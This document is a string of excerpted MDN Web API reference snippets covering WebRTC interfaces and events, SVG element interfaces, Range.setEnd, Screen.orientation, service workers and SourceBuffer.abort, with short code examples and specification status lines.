... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdtmftonechangeevent()' in that specification.
... candidate recommendation initial definition.
RTCDataChannel.send() - Web APIs
in this scenario, the underlying transport is immediately closed.
... var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("backchannel"); function sendmessage(msg) { let obj = { "message": msg, "timestamp": new date() } dc.send(json.stringify(obj)); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.send()' in that specification.
... candidate recommendation initial specification.
RTCDataChannel - Web APIs
data format the underlying data format is defined by the ieee draft specification draft-ietf-mmusic-sctp-sdp.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); dc.onmessage = function (event) { console.log("received: " + event.data); }; dc.onopen = function () { console.log("datachannel open"); }; dc.onclose = function () { console.log("datachannel close"); }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel' in that specification.
... candidate recommendation initial specification.
RTCErrorEvent - Web APIs
the most common of these is probably rtcpeerconnectioniceerrorevent, used by the icecandidateerror event, which signals an error that has occurred while gathering ice candidates during connection negotiation.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcerrorevent' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.RTCIceCandidate() - Web APIs
note: parsing of the candidate string is performed using the candidate-attribute grammar from the webrtc specification.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate()' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.relatedAddress - Web APIs
here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote address, relatedaddress, is the dotted quad (for ipv4) or colon-delineated 64-bit address (for ipv6) immediately following the text "raddr", or "192.168.2.77".
...break; case "prflx": console.log("peer reflexive candidate's base address is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; case "relay": console.log("relay candidate's address assigned by the turn server is " + candidate.relatedaddress + "; reachable at " + candidate.ip); break; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedaddress' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.relatedPort - Web APIs
here's an sdp attribute line (a-line) describing an ice candidate discovered by the stun server: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 6502 typ srflx raddr 192.168.2.77 rport 32768 generation 0 the remote port, relatedport, is the number immediately following the "rport" label on the a-line, or 32768.
...ate.ip; var port = candidate.port; var relip = candidate.relatedaddress; var relport = candidate.relatedport; if (relip && relport) { console.log("candidate type '" + type + "' -- contact address: " + ip + " " + port + ", related address: " + relip + " " + relport); } else { console.log("host candidate address is " + ip + " " + port); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.relatedport' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate.usernameFragment - Web APIs
syntax var ufrag = rtcicecandidate.usernamefragment; value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate.usernamefragment' in that specification.
... candidate recommendation initial definition.
RTCIceCandidate - Web APIs
an ice candidate describes the protocols and routing needed for webrtc to be able to communicate with a remote device.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidate' in that specification.
... candidate recommendation initial definition.
RTCIceCandidateInit.usernameFragment - Web APIs
value a domstring containing the username fragment (usually referred to in shorthand as "ufrag" or "ice-ufrag") that, along with the ice password ("ice-pwd"), uniquely identifies a single ongoing ice interaction, including for any communication with the stun server.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicecandidateinit.usernamefragment' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.consentExpiredTimestamp - Web APIs
syntax consentexpiration = rtcicecandidatepairstats.consentexpiredtimestamp; value a domhighrestimestamp object that indicates the time at which the stun binding that allows the two peers described by this rtcicecandidatepair to communicate will expire (or the time at which the binding did expire, if the time has passed).
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.consentexpiredtimestamp' in that specification.
... candidate recommendation initial specification.
RTCIceCandidatePairStats.state - Web APIs
this may happen immediately upon being added to the check list.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatepairstats.state' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats.protocol - Web APIs
the rtcicecandidatestats dictionary's protocol property specifies the protocol the specified candidate would use for communication with the remote peer.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats.protocol' in that specification.
... candidate recommendation initial specification.
RTCIceCandidateStats - Web APIs
relayprotocol optional a string identifying the protocol used by the endpoint for communicating with the turn server; valid values are tcp, udp, and tls.
... specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcicecandidatestats' in that specification.
... candidate recommendation initial specification.
RTCIceTransport.onselectedcandidatepairchange - Web APIs
syntax rtcicetransport.onselectedcandidatepairchange = candidatepairhandler; value this propoerty should be set to reference an event handler function to be called by the ice agent when it discovers a new candidate pair that the rtcicetransport will be using for communication with the remote peer.
...getelementbyid("local-protocol"); var remoteproto = document.getelementbyid("remote-protocol"); icetransport.onselectedcandidatepairchange = function(event) { var pair = icetransport.getselectedcandidatepair(); localprotocol.innertext = pair.local.protocol.touppercase(); remoteprotocol.innertext = pair.remote.protocol.touppercase(); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcicetransport.onselectedcandidatepairchange' in that specification.
... candidate recommendation initial specification.
RTCIceTransport: statechange event - Web APIs
the state can be used to determine how far through the process of examining, verifying, and selecting a valid candidate pair is prior to successfully connecting the two peers for webrtc communications.
...ev => { if (icetransport.state === "failed") { handlefailure(pc); } }, false); the same code, using the onstatechange event handler property, looks like this: let icetransport = pc.getsenders()[0].transport.icetransport; icetransport.onstatechange = ev => { if (icetransport.state === "failed") { handlefailure(pc); } }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'statechange' in that specification.
... candidate recommendation ...
RTCPeerConnection.addTrack() - Web APIs
this is a very common way to use addtrack() when building many types of simple applications, where only one stream is needed.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.addtrack()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.createDataChannel() - Web APIs
) { channel.send('hi you!'); } channel.onmessage = function(event) { console.log(event.data); } // answerer side var pc = new rtcpeerconnection(options); pc.ondatachannel = function(event) { var channel = event.channel;  channel.onopen = function(event) { channel.send('hi back!'); } channel.onmessage = function(event) { console.log(event.data); } } alternatively, more symmetrical out-of-band negotiation can be used, using an agreed-upon id (0 here): // both sides var pc = new rtcpeerconnection(options); var channel = pc.createdatachannel("chat", {negotiated: true, id: 0}); channel.onopen = function(event) { channel.send('hi!'); } channel.onmessage = function(event) { console.log(event.data); } for a more thorough example showing how the connection and channe...
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'createdatachannel()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection: datachannel event - Web APIs
bubbles no cancelable no interface rtcdatachannelevent event handler property ondatachannel examples this example sets up a function that handles datachannel events by gathering the information needed to communicate with the newly added rtcdatachannel and by adding event handlers for the events that occur on that channel.
... this same code can also instead use the rtcpeerconnection interface's ondatachannel event handler property, like this: pc.ondatachannel = ev => { receivechannel = ev.channel; receivechannel.onmessage = myhandlemessage; receivechannel.onopen = myhandleopen; receivechannel.onclose = myhandleclose; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'datachannel' in that specification.
... candidate recommendation basic definition.
RTCPeerConnection.getIdentityAssertion() - Web APIs
the method returns immediately.
... specifications specification status comment identity for webrtcthe definition of 'rtcpeerconnection.getidentityassertion()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection: iceconnectionstatechange event - Web APIs
bubbles no cancelable no interface event event handler property oniceconnectionstatechange one common task performed by the iceconnectionstatechange event listener: to trigger ice restart when the state changes to failed.
...nectionstatechange", ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; }, false); this can also be written as: pc.oniceconnectionstatechange = ev => { let stateelem = document.queryselector("#call-state"); stateelem.classname = `${pc.iceconnectionstate}-state`; } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'iceconnectionstatechange' in that specification.
... candidate recommendation ...
RTCPeerConnection: negotiationneeded event - Web APIs
this occurs both during the initial setup of the connection as well as any time a change to the communication environment requires reconfiguring the connection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'negotiationneeded' in that specification.
... candidate recommendation ...
RTCPeerConnection.onnegotiationneeded - Web APIs
most commonly, the negotiationneeded event is fired after a send track is added to the rtcpeerconnection.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.onnegotiationneeded' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.setConfiguration() - Web APIs
the most common use case for this method (and even then, probably not a very common use case) is to replace the set of ice servers to be used.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'setconfiguration()' in that specification.
... candidate recommendation initial definition.
RTCPeerConnection.setLocalDescription() - Web APIs
because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setlocaldescription() does not immediately take effect.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.setlocaldescription()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnection.setRemoteDescription() - Web APIs
because descriptions will be exchanged until the two peers agree on a configuration, the description submitted by calling setremotedescription() does not immediately take effect.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnection.setremotedescription()' in that specification.
... candidate recommendation initial specification.
RTCPeerConnectionIceErrorEvent.address - Web APIs
the rtcpeerconnectioniceerrorevent property address is a string which indicates the local ip address being used to communicate with the stun or turn server during negotiations.
... pc.addeventlistener("icecandidateerror", (event) => { let networkinfo = `[local interface: ${event.address}:${event.port}`; let iceserverinfo = `[ice server: ${event.url}`; showmessage(errortext, iceserverinfo, networkinfo); }); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcpeerconnectioniceerrorevent.address' in that specification.
... candidate recommendation initial definition.
RTCRtpStreamStats.firCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: fircount' in that specification.
... candidate recommendation initial definition.
... candidate recommendation initial definition.
RTCRtpStreamStats.nackCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: nackcount' in that specification.
... candidate recommendation initial definition.
... candidate recommendation initial definition.
RTCRtpStreamStats.pliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: plicount' in that specification.
... candidate recommendation initial definition.
... candidate recommendation initial definition.
RTCRtpStreamStats.qpSum - Web APIs
tats) { let framecount = 0; switch(stats.type) { case "inbound-rtp": case "remote-inbound-rtp": framecount = stats.framesdecoded; break; case "outbound-rtp": case "remote-outbound-rtp": framecount = stats.framesencoded; break; default: return 0; } return status.qpsum / framecount; } specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: qpsum' in that specification.
... candidate recommendation initial definition.
... candidate recommendation initial definition.
RTCRtpStreamStats.sliCount - Web APIs
specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcinboundrtpstreamstats: slicount' in that specification.
... candidate recommendation initial definition.
... candidate recommendation initial definition.
RTCRtpStreamStats.ssrc - Web APIs
the manner in which these values are generated is not mandated by the specification, although it does make recommendations.
...do not rely upon these values meaning anything other than "these objects are associated with the same source." specifications specification status comment identifiers for webrtc's statistics apithe definition of 'rtcrtpstreamstats.ssrc' in that specification.
... candidate recommendation initial definition.
RTCRtpTransceiver.stop() - Web APIs
usage notes when you call stop() on a transceiver, the sender immediately stops sending media and each of its rtp streams are closed using the rtcp "bye" message.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcrtptransceiver.stop()' in that specification.
... candidate recommendation ...
RTCStatsReport - Web APIs
properties common to all statistic categories all webrtc statistics objects are fundamentally based on the rtcstats dictionary, which provides the most fundamental information: the timestamp, the statistic type string, and an id uniquely identifying the source of the data: id a domstring which uniquely identifies the object which was inspected to produce this object based on rtcstats.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcstatsreport' in that specification.
... candidate recommendation initial specification.
RTCTrackEventInit.transceiver - Web APIs
the transceiver pairs the track's receiver with an rtcrtpsender to allow bidirectional communication.
... specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtctrackeventinit.transceiver' in that specification.
... candidate recommendation initial specification.
Range.setEnd() - Web APIs
WebAPIRangesetEnd
usage notes if the endnode is a node of type text, comment, or cdatasection, then endoffset is the number of characters from the start of endnode.
... example const range = document.createrange(); const endnode = document.getelementsbytagname('p').item(3); const endoffset = endnode.childnodes.length; range.setend(endnode, endoffset); setend() is commonly used in conjunction with setstart() to fully configure a range.
... specifications specification status comment domthe definition of 'range.setend()' in that specification.
RsaHashedKeyGenParams - Web APIs
some organizations are now recommending that it should be 4096.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.rsahashedkeygenparams' in that specification.
... recommendation ...
format - Web APIs
string font format examples of common extensions truedoc-pfr truedoc™ portable font resource .pfr embedded-opentype embedded opentype .eot type-1 postscript™ type 1 .pfb, .pfa truetype truetype .ttf opentype opentype, including truetype open .ttf truetype-gx truetype with gx extensions - speedo speedo - intellif...
...ont intellifont - example myglyph.format = "truedoc-pfr"; specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'format' in that specification.
... recommendation ...
SVGAngle - Web APIs
WebAPISVGAngle
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification.
... candidate recommendation adds the dataset property.
... recommendation initial definition ...
SVGAnimatedPathData - Web APIs
name type description animatednormalizedpathseglist svgpathseglist provides access to the current animated contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
... normalizedpathseglist svgpathseglist provides access to the base (i.e., static) contents of the 'd' attribute in a form where all path data commands are expressed in terms of the following subset of svgpathseg types: svg_pathseg_moveto_abs (m), svg_pathseg_lineto_abs (l), svg_pathseg_curveto_cubic_abs (c) and svg_pathseg_closepath (z).
...thus, if the d attribute has an "absolute moveto (m)" and an "absolute arcto (a)" command, then pathseglist will have two entries: a svg_pathseg_moveto_abs and a svg_pathseg_arc_abs.
cx - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cx="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cx); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cx' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cx' in that specification.
... recommendation initial definition ...
cy - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle cy="50" cy="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.cy); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.cy' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.cy' in that specification.
... recommendation initial definition ...
r - Web APIs
example svg <svg xmlns="http://www.w3.org/2000/svg" viewbox="0 0 100 100" width="200" height="200"> <circle r="50" r="50" r="50" fill="gold" id="circle"/> </svg> javascript const circle = document.getelementbyid('circle'); console.log(circle.r); specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement.r' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement.r' in that specification.
... recommendation initial definition ...
SVGCircleElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgcircleelement' in that specification.
... candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgcircleelement' in that specification.
... recommendation initial definition browser compatibility the compatibility table on this page is generated from structured data.
SVGClipPathElement - Web APIs
specifications specification status comment css masking module level 1the definition of 'svgclippathelement' in that specification.
... candidate recommendation removed the inheritance from svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, svgtransformable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgclippathelement' in that specification.
... recommendation initial definition ...
SVGComponentTransferFunctionElement - Web APIs
svg_fecomponenttransfer_type_gamma 5 corresponds to the value gamma.
... specifications specification status comment filter effects module level 1the definition of 'svgcomponenttransferfunctionelement' in that specification.
... recommendation initial definition ...
SVGDefsElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdefselement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdefselement' in that specification.
... recommendation initial definition ...
SVGDescElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgdescelement' in that specification.
... candidate recommendation removed the inheritance from svglangspace and svgstylable scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgdescelement' in that specification.
... recommendation initial definition ...
SVGElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgelement' in that specification.
... candidate recommendation adds the dataset property.
... recommendation initial definition ...
SVGEllipseElement - Web APIs
onclick="outputsize();"/> </svg> javascript content function outputsize() { var ellipse = document.getelementbyid("ellipse"); // outputs "horizontal radius: 100 vertical radius: 60" console.log( 'horizontal radius: ' + ellipse.rx.baseval.valueasstring, 'vertical radius: ' + ellipse.ry.baseval.valueasstring ) } result specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgellipseelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgellipseelement' in that specification.
... recommendation initial definition ...
SVGFilterPrimitiveStandardAttributes - Web APIs
the svgfilterprimitivestandardattributes interface defines the set of dom attributes that are common across the filter primitive interfaces.
... specifications specification status comment filter effects module level 1the definition of 'svgfilterprimitivestandardattributes' in that specification.
... recommendation initial definition ...
SVGForeignObjectElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgforeignobjectelement' in that specification.
... candidate recommendation replaced the inheritance from svgelement, svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggraphicselement and svgurireference scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgforeignobjectelement' in that specification.
... recommendation initial definition ...
SVGGElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... recommendation initial definition ...
SVGGradientElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svggradientelement' in that specification.
... candidate recommendation removed inheritance of svgexternalresourcesrequired, svgstylable, and svgunittypes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svggradientelement' in that specification.
... recommendation initial definition ...
SVGImageElement.preserveAspectRatio - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'preserveaspectratio' in that specification.
... candidate recommendation scalable vector graphics (svg) 1.1 (second edition)the definition of 'preserveaspectratio' in that specification.
... recommendation initial definition ...
SVGImageElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgimageelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement, removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable and added the crossorigin property.
... recommendation initial definition ...
SVGLength - Web APIs
WebAPISVGLength
operties readonly unsigned short unittype float value float valueinspecifiedunits domstring valueasstring constants svg_lengthtype_unknown = 0 svg_lengthtype_number = 1 svg_lengthtype_percentage = 2 svg_lengthtype_ems = 3 svg_lengthtype_exs = 4 svg_lengthtype_px = 5 svg_lengthtype_cm = 6 svg_lengthtype_mm = 7 svg_lengthtype_in = 8 svg_lengthtype_pt = 9 svg_lengthtype_pc = 10 normative document svg 1.1 (2nd edition) example <svg height="200" onload="start();" version="1.1" width="200" xmlns="http://www.w3.org/2000/svg"> <script type="text/javascript"><![cdata[ function start() { var rect = document.getelementbyid("myrect"); var val = rect.x.baseval...
... svg_lengthtype_mm 7 a value was specified using the mm units defined in css2.
...for example, if the original value were "0.5cm" and the method was invoked to convert to millimeters, then the unittype would be changed to svg_lengthtype_mm, valueinspecifiedunits would be changed to the numeric value 5 and valueasstring would be changed to "5mm".
SVGLineElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svglineelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggeometryelement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... recommendation initial definition ...
SVGLinearGradientElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svglineargradientelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svglineargradientelement' in that specification.
... recommendation initial definition ...
SVGMaskElement - Web APIs
specifications specification status comment css masking module level 1the definition of 'svgmaskelement' in that specification.
... candidate recommendation removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... recommendation initial definition ...
SVGMatrix - Web APIs
WebAPISVGMatrix
warning: svg 2 replaced the svgmatrix interface by the more general dommatrix and dommatrixreadonly interfaces.
... specifications specification status comment scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmatrix' in that specification.
... recommendation initial definition ...
SVGMetadataElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgmetadataelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgmetadataelement' in that specification.
... recommendation initial definition ...
SVGNumber - Web APIs
WebAPISVGNumber
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgnumber' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgnumber' in that specification.
... recommendation initial definition ...
SVGPathElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpathelement' in that specification.
... candidate recommendation removed the getpathsegatlength() and createsvgpathseg* methods and moved the pathlength property and the gettotallength() and getpointatlength() methods to svggeometryelement.
... recommendation initial definition ...
SVGPatternElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpatternelement' in that specification.
... candidate recommendation removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... recommendation initial definition ...
SVGPolygonElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpolygonelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolygonelement' in that specification.
... recommendation initial definition ...
SVGPolylineElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgpolylineelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgpolylineelement' in that specification.
... recommendation initial definition ...
SVGRadialGradientElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgradialgradientelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgradialgradientelement' in that specification.
... recommendation initial definition ...
SVGRect - Web APIs
WebAPISVGRect
specifications specification status comment geometry interfaces module level 1the definition of 'domrect' in that specification.
... candidate recommendation changed svgrect as a legacy alias of domrect.
... recommendation initial definition ...
SVGRectElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgrectelement' in that specification.
... candidate recommendation replaced the inheritance from svgelementsvgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable by svggeometryelement scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgrectelement' in that specification.
... recommendation initial definition ...
SVGScriptElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgscriptelement' in that specification.
... candidate recommendation removed the implemented interface svgexternalresourcesrequired and added the crossorigin property.
... recommendation initial definition ...
SVGStopElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgstopelement' in that specification.
... candidate recommendation removed inheritance from svgstylable.
... recommendation initial definition ...
SVGStyleElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgstyleelement' in that specification.
... candidate recommendation added inheritance of linkstyle.
... recommendation initial definition ...
SVGSwitchElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgswitchelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svgtests, svglangspace, svgexternalresourcesrequired, svgstylable, and svgtransformable.
... recommendation initial definition ...
SVGSymbolElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgsymbolelement' in that specification.
... candidate recommendation changed the inheritance from svgelement to svggraphicselement and removed the implemented interfaces svglangspace, svgexternalresourcesrequired, and svgstylable.
... recommendation initial definition ...
SVGTSpanElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtspanelement' in that specification.
... candidate recommendation no changes scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtspanelement' in that specification.
... recommendation initial definition ...
SVGTests - Web APIs
WebAPISVGTests
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtests' in that specification.
... candidate recommendation removed requiredfeatures property and hasextension() method.
... recommendation initial definition ...
SVGTextContentElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextcontentelement' in that specification.
... candidate recommendation changed inheritance from svgelement to svggraphicselement and getstartpositionofchar() and removed implementations of svgtests, svglangspace, svgexternalresourcesrequired, svgstylable interfaces and getendpositionofchar() to return a dompoint instead of an svgpoint.
... recommendation initial definition ...
SVGTextElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextelement' in that specification.
... candidate recommendation removed the implemented interface svgtransformable.
... recommendation initial definition ...
SVGTextPathElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpathelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextpathelement' in that specification.
... recommendation initial definition ...
SVGTextPositioningElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtextpositioningelement' in that specification.
... candidate recommendation no change scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgtextpositioningelement' in that specification.
... recommendation initial definition ...
SVGTitleElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgtitleelement' in that specification.
... candidate recommendation removed inheritance from svglangspace and svgstylable.
... recommendation initial definition ...
SVGURIReference - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgurireference' in that specification.
... candidate recommendation replaced the deprecated xlink:href attribute reference by the href attribute and made the prior only be reflected where it's defined to be supported.
... recommendation initial definition ...
SVGUseElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svguseelement' in that specification.
... candidate recommendation redefined the properties instanceroot and animatedinstanceroot.
... recommendation initial definition ...
SVGViewElement - Web APIs
specifications specification status comment scalable vector graphics (svg) 2the definition of 'svgviewelement' in that specification.
... candidate recommendation removed a mixin svgexternalresourcesrequired scalable vector graphics (svg) 1.1 (second edition)the definition of 'svgviewelement' in that specification.
... recommendation initial definition ...
Screen.orientation - Web APIs
example var orientation = (screen.orientation || {}).type || screen.mozorientation || screen.msorientation; if (orientation === "landscape-primary") { console.log("that looks good."); } else if (orientation === "landscape-secondary") { console.log("mmmh...
... the screen is upside down!"); } else if (orientation === "portrait-secondary" || orientation === "portrait-primary") { console.log("mmmh...
... you should rotate your device to landscape"); } else if (orientation === undefined) { console.log("the orientation api isn't supported in this browser :("); } specifications specification status comment screen orientation apithe definition of 'orientation' in that specification.
ServiceWorkerRegistration.showNotification() - Web APIs
on android devices, the badge should accommodate devices up to 4x resolution, about 96 by 96 px, and the image will be automatically masked.
...for example, this could be in the past when a notification is used for a message that couldn’t immediately be delivered because the device was offline, or in the future for a meeting that is about to start.
... specifications specification status comment notifications apithe definition of 'shownotification()' in that specification.
Using Service Workers - Web APIs
using a service worker you can easily set an app up to use cached assets first, thus providing a default experience even when offline, before then getting more data from the network (commonly known as offline first).
... the below graphic shows a summary of the available service worker events: promises promises are a great mechanism for running async operations, with success dependant on one another.
...and, ummm, it’s still synchronous, so blocks the main thread.
Service Worker API - Web APIs
download, install and activate at this point, your service worker will observe the following lifecycle: download install activate the service worker is immediately downloaded when a user first accesses a service worker–controlled site/page.
... navigator.serviceworker returns a serviceworkercontainer object, which provides access to registration, removal, upgrade, and communication with the serviceworker objects for the associated document.
... specifications specification status comment service workers working draft initial definition.
SourceBuffer.abort() - Web APIs
saying that, current implementations can be useful in certain situations, when you want to stop the current append (or whatever) operation occuring on a sourcebuffer, and then immediately start performing operations on it again.
